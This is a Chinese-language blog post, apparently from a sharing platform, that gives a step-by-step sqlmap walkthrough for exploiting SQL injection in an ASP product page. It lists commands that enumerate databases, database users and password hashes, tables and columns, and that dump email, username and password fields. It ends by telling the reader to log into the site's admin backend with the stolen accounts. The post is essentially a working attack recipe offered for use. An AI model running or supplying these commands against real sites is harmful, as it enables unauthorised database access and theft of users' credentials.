sqlmap注入基本步驟

一、檢測(cè)注入點(diǎn)是否可用

#sqlmap -u "http://192.168.1.150/products.asp?id=134"

參數(shù):

-u:指定注入點(diǎn)url

其中圖一有若干詢問語句,需要用戶輸入[Y/N],如果你懶得輸入或者不懂怎么輸入可以讓程序自動(dòng)輸入,只需添加一個(gè)參數(shù)即可,命令如下:

#sqlmap -u "http://192.168.1.150/products.asp?id=134" --batch

二、暴庫

#sqlmap -u "http://192.168.1.150/products.asp?id=134" --dbs

參數(shù):

--dbs:dbs前面有兩條杠,請(qǐng)看清楚。

三、顯示web當(dāng)前使用的數(shù)據(jù)庫

#sqlmap -u "http://192.168.1.150/products.asp?id=134" --current-db

四、顯示web數(shù)據(jù)庫當(dāng)前賬戶

#sqlmap -u "http://192.168.1.150/products.asp?id=134" --current-user

五、列出sqlserver所有用戶

#sqlmap -u "http://192.168.1.150/products.asp?id=134" --users

六、顯示數(shù)據(jù)庫賬戶與密碼(一般是加密的)

#sqlmap -u "http://192.168.1.150/products.asp?id=134" --passwords

七、列出數(shù)據(jù)庫中的表

#sqlmap -u "http://192.168.1.150/products.asp?id=134" -D tourdata --tables

參數(shù):

-D:指定數(shù)據(jù)庫名稱

--tables:列出表

八、列出表中字段

#sqlmap -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb --columns

參數(shù):

-D:指定數(shù)據(jù)庫名稱

-T:指定要列出字段的表

--columns:指定列出字段

九、暴字段內(nèi)容

#sqlmap -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --dump

參數(shù):

-C :指定要暴的字段

--dump:將結(jié)果導(dǎo)出

如果字段內(nèi)容太多,需要花費(fèi)很多時(shí)間??梢灾付▽?dǎo)出特定范圍的字段內(nèi)容,命令如下:

#sqlmap -u "http://192.168.1.150/products.asp?id=134" -D tourdata -T userb -C "email,Username,userpassword" --start 1 --stop 10 --dump

參數(shù):

--start:指定開始的行

--stop:指定結(jié)束的行

此條命令的含義為:導(dǎo)出數(shù)據(jù)庫tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的數(shù)據(jù)內(nèi)容。

十、驗(yàn)證結(jié)果

根據(jù)上述步驟爆出的賬號(hào),登錄網(wǎng)站后臺(tái),然后就自由發(fā)揮了。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容